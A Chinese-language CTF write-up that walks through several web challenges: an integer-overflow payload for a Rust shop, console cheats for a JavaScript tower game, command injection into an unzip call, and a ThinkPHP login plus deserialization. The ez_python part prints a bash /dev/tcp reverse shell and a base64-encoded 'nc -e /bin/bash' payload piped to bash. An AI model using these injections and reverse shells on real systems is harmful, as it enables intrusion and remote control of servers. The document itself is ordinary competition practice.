这个应该是最简单的一道题,网上有现成的教程,试了试用异或没打通,用博客园的一个payload一下就通了
贴个文章
无字母数字RCE
ez_rust
这道题的考点是整数溢出,比如一个32位的整数,最高位表示符号位,如果数字足够大,达到符号位溢出,这个数就会变成负数
if cost != 0 {GONGDE.set(GONGDE.get() - cost as i32);}
所以想办法把cost搞成负数,功德就会不断增加
Payload {name: "Cost",cost: 10,},if payload.name == "Donate" || payload.name == "Cost" {cost *= body.quantity;}
cost的计算方式跟选择的name有关,所以可以采取放入的quantity不越界,乘上cost越界变成负数的策略
最终payload
name=Cost&quantity=2100000000
neko
晚上看舍友打通关了,看的我心血来潮去开电脑试试,路上遇到Enoch,教我一个在主js文件里找了个直接修改层数的方法。
main.prototype.loadFloor = function(floorId, callback) {var script = document.createElement('script');script.src = 'project/floors/' + floorId +'.js?v=' + this.version;main.dom.body.appendChild(script);script.onload = function () {callback(floorId);}
}
代码拉到最下面,发现最后一层的id
回调函数看不太懂什么意思,让gpt写一个payload
其实就是在函数里面再随便写一个函数
加上changefloor才能生效
main.loadFloor('MT350', function(floorId) {console.log('楼层已加载:', floorId);
});core.changeFloor('MT350');
再用grok搜一个外挂出来
数字太大会把环境打崩,但不大肯定过不去,在这里卡了很久
core.setStatus(‘hp’, Number.MAX_SAFE_INTEGER);
core.setStatus(‘atk’, Number.MAX_SAFE_INTEGER);
core.setStatus(‘def’,Number.MAX_SAFE_INTEGER);
core.setStatus(‘exp’, Number.MAX_SAFE_INTEGER);
core.setStatus(‘gold’, Number.MAX_SAFE_INTEGER);
core.updateStatusBar();
最后感觉可能是有什么细节没注意到,换一个修改器就可以正常修改
core.setItem('bomb',99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setItem('hammer',99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setItem('pickaxe',99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setItem('earthquake',9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setStatus('hp',9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setStatus('atk',9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setStatus('def',9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setStatus('money',9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
core.setStatus('mdef',9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
回过头继续测试第一次的payload,突然发现只要修改前两行就可以,并且通关,并且不会报错,那么问题就很明显了,后三行中有一个东西不能改的太大,否则会造成游戏崩溃,具体是什么懒得找了。
ez_python
提示考虑解压压缩包的方式,猜测是通过命令解压压缩包,那么就可以尝试命令注入的方式,抓个包试试
测试发现有明显的延迟感,太棒了。
这里说一下用||的细节
前后都得有空格是必然的,为什么在末尾还要加一个||呢
unzip 1.tar || sleep 5
在或运算里,显然sleep 5不会被执行,但是如果在后面来一个||,那么就会将||前面的代码执行了再继续判断逻辑
先本地测试反弹shell命令能打通了再发包
bash -i >& /dev/tcp/your-ip/6666 0>&1
还好给了提示,不然我估计又得怀疑这个思路了,base64编码绕过特殊字符即可
echo “bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMS4xMDAgNDQ0NA==” | base64 -d | bash
注意换成单引号防闭合
flag在熟悉的环境变量里
php_shop
根据提示找到sql里的用户名跟密码,这里出题人放了个让人很抓马的坑,md5在线网站解一下就知道密码是123456,用户名是admin,
但是这里有一个find()函数,它返回的username一定是admin吗?不不不,这个函数返回的是主键的值,id被设置为主键了,所以username的值实际上是id的值,即通过1,123456登录
进来之后打一个反序列化,原题是2023强网杯的thinkshop
https://zjackky.github.io/post/ctf-talking-about-the-strong-network-thinkshop-z1xtoji.html#ThinkShop
https://blog.wm-team.cn/index.php/archives/69/#thinkshop
wp懒得写了,网上的wp写的很清楚了
- 清明过后一堆杂事就没打了,后来听说notes能搜到原题,以及出题人补上的notes_revenge,蛮有意思的hhh,希望今年能有新的师傅进来研究crypto和misc这两个方向